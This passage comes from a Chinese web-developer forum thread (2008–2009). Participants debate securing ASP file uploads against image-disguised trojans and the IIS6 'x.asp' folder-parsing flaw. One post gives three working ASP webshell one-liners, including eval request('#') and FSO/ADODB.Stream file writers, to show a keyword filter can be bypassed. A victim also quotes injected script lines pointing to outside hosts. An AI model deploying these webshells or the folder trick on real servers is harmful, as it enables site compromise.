发表于:2008-09-26 16:41:3360楼 得分:0
那是asp,cgi文件夹的漏洞,上面我都有提到,汗,还说这个.

chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 16:42:1361楼 得分:0
引用 57 楼 gingerkang 的回复:
引用 54 楼 luxu001207 的回复:
引用 51 楼 gingerkang 的回复:
引用 46 楼 chinmo 的回复:
你用一个JPG木马生成器,自己测试去吧,或者你自己改装也行


答非所问,你再怎么改,jpg还是jpg,服务器在jpg改造之后会用asp.dll去解析运行?

这个漏洞是存在的,至少曾经存在过,jpg当asp来解析运行

那是2003曾经存在的asp,cgi的文件夹漏洞


本来就是说,现在有一些服务器还存在着这漏洞

什么叫混饶视听??

你去当黑客一段时间你就知道了,还有一些服务器还是存在着


gingerkang
gingerkang
等级:
可用分等级:富农
总技术分:9709
总技术分排名:2158

发表于:2008-09-26 16:42:2862楼 得分:0
那个不仅仅是jpg,是那些类别的文件夹下面的任何文件.

chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 16:45:2963楼 得分:0
引用 61 楼 gingerkang 的回复:
那个不仅仅是jpg,是那些类别的文件夹下面的任何文件.


.....晕死,你又来了

在上传功能里已经只允许上传图片了,别的类型根本无法上传,别绕道,说那些不搭边的


chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 16:48:1364楼 得分:0
再说,RAR文件他也不执行啊,直接就提示下载了,这时候就只有图片形式了!


gingerkang
gingerkang
等级:
可用分等级:富农
总技术分:9709
总技术分排名:2158

发表于:2008-09-26 16:48:3465楼 得分:0
引用 62 楼 chinmo 的回复:
引用 61 楼 gingerkang 的回复:
那个不仅仅是jpg,是那些类别的文件夹下面的任何文件.


.....晕死,你又来了

在上传功能里已经只允许上传图片了,别的类型根本无法上传,别绕道,说那些不搭边的


扩展名是限制死的,文件夹反而是可以随便建的?


gingerkang
gingerkang
等级:
可用分等级:富农
总技术分:9709
总技术分排名:2158

发表于:2008-09-26 16:50:3166楼 得分:0
引用 63 楼 chinmo 的回复:
再说,RAR文件他也不执行啊,直接就提示下载了,这时候就只有图片形式了!

任何文件当然包括rar,不是下载,是运行


chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 16:52:0867楼 得分:0
哎,你是不是也不了解这个啊??

你没有入侵过,真是没办法跟你说清楚哦

有这个漏洞的时候只要能运行ASP权限的文件夹就可以,不管你建在哪


chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 16:53:3168楼 得分:0
引用 65 楼 gingerkang 的回复:
引用 63 楼 chinmo 的回复:
再说,RAR文件他也不执行啊,直接就提示下载了,这时候就只有图片形式了!

任何文件当然包括rar,不是下载,是运行


。。。。。。。得了,跟你争没有什么意义了

你没有入侵过凭着理论来跟我说的


gingerkang
gingerkang
等级:
可用分等级:富农
总技术分:9709
总技术分排名:2158

发表于:2008-09-26 16:56:5569楼 得分:0
引用 66 楼 chinmo 的回复:
哎,你是不是也不了解这个啊??

你没有入侵过,真是没办法跟你说清楚哦

有这个漏洞的时候只要能运行ASP权限的文件夹就可以,不管你建在哪


没有一定了解,我不会乱放,你仔细看看你自己转的地址,也可以测试后再评论,不是那些特殊的文件夹,我到要看看你是怎么运行的.


chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 16:57:2070楼 得分:0
还有我建议你好好看我刚才给的那篇文章

gingerkang
gingerkang
等级:
可用分等级:富农
总技术分:9709
总技术分排名:2158

发表于:2008-09-26 16:58:3671楼 得分:0
引用 67 楼 chinmo 的回复:
引用 65 楼 gingerkang 的回复:
引用 63 楼 chinmo 的回复:
再说,RAR文件他也不执行啊,直接就提示下载了,这时候就只有图片形式了!

任何文件当然包括rar,不是下载,是运行


。。。。。。。得了,跟你争没有什么意义了

你没有入侵过凭着理论来跟我说的


我说人想当然,自己也有些测试和思量的,不是想当然的去说人想当然的.

chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 16:59:1672楼 得分:0
引用 68 楼 gingerkang 的回复:
引用 66 楼 chinmo 的回复:
哎,你是不是也不了解这个啊??

你没有入侵过,真是没办法跟你说清楚哦

有这个漏洞的时候只要能运行ASP权限的文件夹就可以,不管你建在哪


没有一定了解,我不会乱放,你仔细看看你自己转的地址,也可以测试后再评论,不是那些特殊的文件夹,我到要看看你是怎么运行的.


哎,你凭的是理论!!

我转的地址你好好看清楚,别人不提任何类型文件

当初发现这漏洞的时候我就入侵过不少2003服务器,RAR的就不行,提示下载!






gingerkang
gingerkang
等级:
可用分等级:富农
总技术分:9709
总技术分排名:2158

发表于:2008-09-26 17:03:5073楼 得分:0
引用 71 楼 chinmo 的回复:
引用 68 楼 gingerkang 的回复:
引用 66 楼 chinmo 的回复:
哎,你是不是也不了解这个啊??

你没有入侵过,真是没办法跟你说清楚哦

有这个漏洞的时候只要能运行ASP权限的文件夹就可以,不管你建在哪


没有一定了解,我不会乱放,你仔细看看你自己转的地址,也可以测试后再评论,不是那些特殊的文件夹,我到要看看你是怎么运行的.


哎,你凭的是理论!!

我转的地址你好好看清楚,别人不提任何类型文件




别人不提不表示不存在
可以告诉你,你自己弄错了.

http://blog.163.com/tianlaiyueyin@126/blog/static/30145402200742393629511/

你自己也可以测试一下,好像漏洞还存在



chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 17:08:4874楼 得分:0
首先声明:这个漏洞大部分服务器不存在了,再次你请看下面说的

一 、 Windows 2003Enterprise Edition IIS6 目录检查漏洞的描述
1、Windows 2003 Enterprise Edition是微软目前主流的服务器操作系统。Windows 2003 IIS6存在着文件解析路径的漏洞,当文件夹名为类似

hack.ASP的时候(即文件夹名看起来像一个ASP文件的文件名),此时此文件夹下的任何类型的文件都可以在IIS中被当做ASP程序来执行。这样

黑客即可上传扩展名为.jpg或.gif之类的看起来像是图片文件的木马文件,通过访问这个文件即可运行木马。
2、 扩展名为.jpg/.gif的木马检查方法:
在资源管理器中使用详细资料方式,按类别查看。点“查看”菜单--“选择详细信息”--勾选上“尺寸”,确定。此时,正常的图片文件

会显示出图片的尺寸大小,如果没有显示,则99%可以肯定是木马文件。用记事本程序打开即可100%确定.
3、 漏洞影响的范围:
安装了IIS6的服务器(windows2003),漏洞特征网站的管理权限被盗、导致网站被黑。因为微软尚未发布这个漏洞的补丁,所以几乎所有网站都

会存在这个漏洞。


可上传扩展名为.jpg或.gif之类的看起来像是图片文件的木马文件

没有说说类似其他的,而是说的类似图片文件,自己看清楚了

而且我是实践得知的,不是凭理论得知的



chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 17:10:4075楼 得分:0
能像网页一样运行的,别人为什么特别提出像是图片文件


chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 17:11:5476楼 得分:0
这个补丁早就有了!

所以只是部分服务器没有打补丁而已


gingerkang
gingerkang
等级:
可用分等级:富农
总技术分:9709
总技术分排名:2158

发表于:2008-09-26 17:21:1777楼 得分:0
引用 75 楼 chinmo 的回复:
这个补丁早就有了!

所以只是部分服务器没有打补丁而已

在哪里可以打到补丁?window update所有的补丁都补了,现在测试还是存在这个问题,在iis映射中.cer,.asp,.asa用asp.dll解析的,只要建立

xxx.asp,.cer,.asa等文件夹,里面的所有文件都还是按照asp来运行,不管是rar,jpg,asp还是没有扩展名的.删除掉映射就没有了,没删除的还是

存在问题






chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 18:00:1378楼 得分:0
引用 76 楼 gingerkang 的回复:
引用 75 楼 chinmo 的回复:
这个补丁早就有了!

所以只是部分服务器没有打补丁而已

在哪里可以打到补丁?window update所有的补丁都补了,现在测试还是存在这个问题,在iis映射中.cer,.asp,.asa用asp.dll解析的,只要建立

xxx.asp,.cer,.asa等文件夹,里面的所有文件都还是按照asp来运行,不管是rar,jpg,asp还是没有扩展名的.删除掉映射就没有了,没删除的还是

存在问题


我记得有这个补丁了,至于什么时候出的就不记得了


你那是在自己电脑上测试的,别人的服务器上根本别的格式我没试,但是RAR的格式我当初试了,无法以网页的形式显示出来,会提示下载






cyc308

等级:
可用分等级:中农
总技术分:180
总技术分排名:68555

发表于:2008-09-26 20:30:5679楼 得分:0
看完大家的发言我有两个疑问想证实一下,因本人没有实践经验,对木马也是一知半解.

1.一个木马或病毒文件成功上传到服务器了,但我将其扩展以自己定义的方式保存如.rar_ 即变成不可识别文件,这样是否就完全安全了?

2.看了那个FSO读写文件方式是以文本方式,这么说如果木马以二进制方式写进图片是否就不会执行,而要以文本方式与入图片才能达到执行文件

的目的呢?

非常感谢!


chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 21:29:2882楼 得分:0
引用 78 楼 cyc308 的回复:
看完大家的发言我有两个疑问想证实一下,因本人没有实践经验,对木马也是一知半解.

1.一个木马或病毒文件成功上传到服务器了,但我将其扩展以自己定义的方式保存如.rar_ 即变成不可识别文件,这样是否就完全安全了?

2.看了那个FSO读写文件方式是以文本方式,这么说如果木马以二进制方式写进图片是否就不会执行,而要以文本方式与入图片才能达到执行文件

的目的呢?

非常感谢!

1.没有绝对的安全,只能说是相对的
2.这个也不异地的,木马也可以写成二进制的啊

penglewen
昨日如梦
等级:
可用分等级:掌柜
总技术分:16844
总技术分排名:904
发表于:2008-09-26 21:51:2183楼 得分:0
好贴,好久没在这里逛了。顶一下.
以前做上传的时候只是以content-type与后辍名来检测的。今天要学到了很多。。


yanniu008
牛牛
等级:
可用分等级:富农
总技术分:6918
总技术分排名:3177

发表于:2008-09-27 08:57:5589楼 得分:0
我稍微组了一下总结 可以去我的SINA博客看看 http://blog.sina.com.cn/ntiauo


chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-27 09:13:5390楼 得分:0
呵呵,我给你纠正一点:

if instr(sTextAll,sNoString(i)) then
set filedel=server.CreateObject ("Scripting.FileSystemObject")
response.write "你的IP和攻击时间已经被我们记录,由于你多次利用此方法攻击该网站,我们将把我们得到的数据向上海市公安局和网警报

告!"
set MyFiletemp=server.CreateObject("Scripting.FileSystemObject")
set wfile=myfiletemp.opentextfile(server.mappath("gjrz.txt"),8)
wfile.writeline date()&" "&time()&" "&request.servervariables("remote_addr")
Response.end
end if

这里你少了删除图片的代码
就是说,少了filedel.deletefile Server.mappath(filename)
set filedel = nothing
这2句

还有,request.servervariables("remote_addr")这个记录IP地址不是很准确,一般入侵的黑客都会使用代理IP

所以userip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If userip = "" Then userip = Request.ServerVariables("REMOTE_ADDR")
使用这个来记录实际IP


yanniu008
牛牛
等级:
可用分等级:富农
总技术分:6918
总技术分排名:3177

发表于:2008-09-27 09:25:4991楼 得分:0
呵呵 filedel.deletefile Server.mappath(filename)
这句是有的 昨天贴上去的时候漏了
关于用那个取IP方法,我也知道取的不准确,但是主要的目的还是为了防止上传,我也就没去管了



windwl
风之问情
等级:
可用分等级:掌柜
总技术分:6810
总技术分排名:3255

发表于:2008-09-27 09:37:5592楼 得分:0
引用 2 楼 chinmo 的回复:
呵呵,不能说是ASP上传的漏洞,是所有语言如果不做处理,那么你任何语言都可以上传这样的

jpg这种服务器,在一些2003服务器上,如果含有代码的,他会运行成网页来运行的,还有一种就是你程序里有数据库恢复功能,而这个功能过

滤不严谨,也会被利用,把图片木马恢复成可运行的网页文件


VBScript codeset MyFile = server.CreateObject("Scripting.FileSystemObject")
set MyText = MyFile.OpenTextFile(Server.mappa…

又没有测试过效率?
想知道这样过滤的效率如何




chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-27 09:40:1593楼 得分:0
呵呵,效率??

这样的效率就是在原来的基础上多了这么一个判断的时间!
FSO的效率如何,用过的都应该知道了!就不必说了!


windwl
风之问情
等级:
可用分等级:掌柜
总技术分:6810
总技术分排名:3255

发表于:2008-09-27 09:44:4194楼 得分:0
引用 92 楼 chinmo 的回复:
呵呵,效率??

这样的效率就是在原来的基础上多了这么一个判断的时间!
FSO的效率如何,用过的都应该知道了!就不必说了!

恩,如果只过滤图片文件应该还能接受


chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-27 09:58:5195楼 得分:0
如果在安全和效率上选择一个,我想大部分的人选择安全






gingerkang
gingerkang
等级:
可用分等级:富农
总技术分:9709
总技术分排名:2158

发表于:2008-09-27 10:08:0296楼 得分:0
就算过滤,那段设置的也很不全面,至少下面任何一段都可以突破

<%with server:createobject("Scripting.FileSystemObject").createtextfile(.mappath("~1.asp"),true).write request("#"):end

with%>


<%eval request("#")%>


<object runat="server" id="s" classid="clsid:00000566-0000-0010-8000-00AA006D2EA4"></object>
<%with server:p=.mappath("~1.asp"):end with:with s:.open():.WriteText(request("#")):.SaveToFile p,2:.close:end with%>




过滤要全面而准确估计也比较困难,比如要是上传doc的文件,里面有这些会是什么样的情况,而过滤越多性能肯定也会降低



yanniu008
牛牛
等级:
可用分等级:富农
总技术分:6918
总技术分排名:3177

发表于:2008-09-27 10:11:0497楼 得分:0
是的 我考虑过这个问题 在上传doc的文件时里面如果真的包涵了 我过滤的字符的话 那不也是把他当作木马来出来了

chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-27 10:12:3798楼 得分:0
引用 95 楼 gingerkang 的回复:
就算过滤,那段设置的也很不全面,至少下面任何一段都可以突破
<%with server:createobject("Scripting.FileSystemObject").createtextfile(.mappath("~1.asp"),true).write request("#"):end

with%>

<%eval request("#")%> <object runat="server" id="s" classid="clsid:00000566-0000-0010-8000-00AA006D2EA4"> </object>
<%with server:p=.mappath("~…


过滤常用的 ,过滤能起关键作用的就可以了,没有必要所有的过滤


chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-27 10:13:5099楼 得分:0
引用 96 楼 yanniu008 的回复:
是的 我考虑过这个问题 在上传doc的文件时里面如果真的包涵了 我过滤的字符的话 那不也是把他当作木马来出来了


我说过,安全只是相对,没有绝对的


manasi
天山男子
等级:
可用分等级:贫农
总技术分:290
总技术分排名:50796

发表于:2008-09-27 10:47:26101楼 得分:0
引用 15 楼 gingerkang 的回复:
引用 5 楼 yanniu008 的回复:
引用 1 楼 gingerkang 的回复:
1你过滤没意义 扩展名aaspsp,过滤之后还是asp,
2扩展名为asp+空格或者文件不允许的字符,是可以通过的,但生成的还是asp
3这个判断应该没有问题
4同上

扩展名没必要过滤,需要判断是否在允许的扩展名列表中就可以了.

1.aaspsp 当过滤了asp之后的确是asp,但是我还有第二关还是通不过的
2.加空格的话 第一关有过滤 过滤之后成asp ,但是第二关也通不…

这样吧!

cyc308

等级:
可用分等级:中农
总技术分:180
总技术分排名:68555

发表于:2008-09-27 16:19:20105楼 得分:0
图片外其他文件都更改扩展名为不可认识,大家觉得如何?

chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-27 16:35:16106楼 得分:0
引用 104 楼 cyc308 的回复:
图片外其他文件都更改扩展名为不可认识,大家觉得如何?


呵呵,仔细看下上面的讨论

bansi

等级:
可用分等级:长工
总技术分:22
总技术分排名:185593

发表于:2008-09-27 17:21:06108楼 得分:0
恩,看完了。讨论的很激烈。我只用过把CSS文件后缀改成jpg。然后CSS样式同样生效。

对于防黑,还是菜鸟级。因为没有入侵经验,也没办法去检测自己的东西是否安全。
chinmo 不妨在空闲时间整理些比较使用的一些入侵与防黑的web应用资料供学习。

iscandy
梵高
等级:
可用分等级:中农
总技术分:2058
总技术分排名:11009

发表于:2008-09-28 08:45:54109楼 得分:0
微软最令人痛恨的地方就是它总要分析任何文件的头部,并因此被各种病毒钻了空子。

coolboy347
破天剑客
等级:
可用分等级:长工
总技术分:15
总技术分排名:212919

发表于:2008-09-30 18:00:38113楼 得分:0
前面两位朋友,关于那个补丁的事情
我在我本地win2003和我服务器上都有测试过了
靠,真的都还存在.
而且服务器上补丁是实时更新的,还是有存在这样的状况

我想应该是微软还没出补丁吧,我现只把上传目录的运行权限设为:无


owen1759

等级:
可用分等级:富农
总技术分:697
总技术分排名:27334

发表于:2008-10-02 18:31:18114楼 得分:0
哪有这么多麻烦事,只要我们让上传者完全无法控制上传的文件名不就解决了一切问题了吗!
存放位置直接硬编码到程序中
[思路]
上传文件的目的只有两个——
1.在网页上调用(例如图片、音频、视频资料等)
这种情况是只要扩展名正确、完全不在乎用什么文件名的。那么我们完全可以由程序生成文件名(方法多得是:年月日时分秒加随机数、ID序号

、GUID都可以);然后把扩展名和预先准备的允许上传扩展名(数组)对比,如果符合就把在数组里对应的那个扩展名(这里我们不使用原扩展名)

作为扩展名,不符合直接踢。这样,文件名、扩展名全了,OK了。
2.提供用户下载(例如Word文档、提供网盘服务等)
这种情况当然要求下载时文件名扩展名都正确。其实更简单,存储到服务器上的真实文件名一概用和上面一样的方法生成,扩展名一概用Data(

形如12345.Data,98765.Data,随便什么安全的扩展名都可以)。而上传的文件名和在服务器上的文件名都存在数据库里,下载时通过下载页面

的程序从数据库取出文件名输出来提供下载(顺便把盗链也干掉了)。
======================
另:关于图像文件挂马问题
对于图像文件专门检查宽高,不是真实图像文件的干掉,超宽超高的也顺便干掉了^_^


lifefamily

等级:
可用分等级:中农
总技术分:212
总技术分排名:61891

发表于:2008-10-03 09:17:53116楼 得分:0
引用 16 楼 kuyoeku 的回复:
其实还有一个办法..判断Content-Type..或者是判断图像宽和高大小..当然此方法只限于上传图像文件.
下面是一个我自己改的一个上传文件.

+展开
-VBScript
dim arr(3) 
dim upload,file,formName,formPath,iCount,filename,fileExt,i,Farr 
set upload=new UpFile_Class ''建立上传对象 
upload.GetData(10240000) 
if upload.err>0 then 
  select case upload.err 
    case 1 
      response.write("请您先选取择要上… 



这个才行!
楼主的判断过滤根本不行!!因为没有判断上传的文件的内容.如果我将一个ASP文件, 改名为gif,照样能上传成功, 同样能运行!
如果是楼主,应该加一个判断是否是text-plain,这样才安全


jankrong
阿里
等级:
可用分等级:富农
总技术分:2306
总技术分排名:9918

发表于:2008-10-04 14:21:55118楼 得分:0
被黑嘛,说明还是有技术漏洞。

好好利用这些机会扩展自己的技术也是很不错的!

ITwangMan
该用户很懒,没有设置昵称
等级:
可用分等级:长工
总技术分:3
总技术分排名:301177

发表于:2008-11-03 11:03:23120楼 得分:0
应该要读取下上传文件的内容比较保险


xocom
福大
等级:
可用分等级:掌柜
总技术分:7197
总技术分排名:3035

发表于:2008-11-03 15:38:10127楼 得分:0
asp语言没 /0 结束字符~
这本身应该是语言上的漏洞无法弥补~~~~~

aspvfp
该用户很狡猾,没有设置昵称
等级:
可用分等级:中农
总技术分:499
总技术分排名:34928

发表于:2008-12-01 13:42:07134楼 得分:0
1 RAR为什么会下载呢 是你本机的设定文件打开方式 txt能不能直接执行呢 期待中..
2 我的方法是服务器禁止有ASP的创建 and 修改 数据库后缀mdb放到站外去

weling2008
惟零设计
等级:
可用分等级:乞丐
总技术分:0
总技术分排名:349437

发表于:2009-03-04 23:26:56137楼 得分:0
没有给黑的人,也别得意,给黑的人也别难过,失有所得!
如果你给黑了,趁热学点安全防范。
以前在公司维护一堆网站,给黑客整死了。
还不是顶过来了啊。多看些技术文章,还是有效果地。
你想想你现在一两个站。就郁闷了。
我搞几百个站维护。累死。O(∩_∩)O哈哈~



sugaroar

发表于:2009-04-19 11:43:55138楼 得分:0
能否帮我检查一下我的网站的安全性吗?谢谢。
可以教一下是怎么检查的吗?
有什么漏洞吗?
因为我的网站在近期老是被人进行js注入,在我的js文件后面加了两行,但网址有变.谢谢。
document.writeln("scriptsrc=\"http://cctv23008.bibil0.cn\"\/script")

document.writeln("scriptsrc=\"http://cctv2008.bib69l0.cn\"\/script")
忘了说我的网址是,谢谢。
http://www.ls168.cn

加支付宝好友偷能量挖...


评论(0)网络
阅读(172)喜欢(1)Asp/VBScript